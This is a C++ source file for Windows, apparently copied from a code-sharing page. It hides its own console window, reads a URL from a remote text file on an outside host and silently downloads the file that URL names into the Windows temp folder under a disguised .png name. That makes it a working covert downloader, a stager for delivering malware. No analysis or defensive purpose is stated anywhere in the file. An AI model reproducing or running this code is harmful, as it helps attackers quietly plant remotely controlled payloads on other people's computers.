1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
|
#include<iostream>
#include<Windows.h>
#include<wininet.h>
#include<cstring>
#include <tchar.h>
#include <urlmon.h>
#pragma comment(lib,"wininet.lib")
#pragma comment(lib, "urlmon.lib")
using namespace std;
char DataReceived[4096];
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}
int main() {
Stealth();
HINTERNET connect = InternetOpen("MyBrowser", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!connect) {
cout << "Connection Failed or Syntax error";
return 0;
}
HINTERNET OpenAddress = InternetOpenUrl(connect, "http://tester.atwebpages.com/tempaddy.txt", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (!OpenAddress)
{
DWORD ErrorNum = GetLastError();
cout << "Failed to open URL \nError No: " << ErrorNum;
InternetCloseHandle(connect);
return 0;
}
DWORD NumberOfBytesRead = 0;
while (InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead)
{
URLDownloadToFile(NULL, DataReceived, "c:\\windows\\temp\\temp.png", BINDF_GETNEWESTVERSION, NULL);
}
InternetCloseHandle(OpenAddress);
InternetCloseHandle(connect);
return 0;
}
| |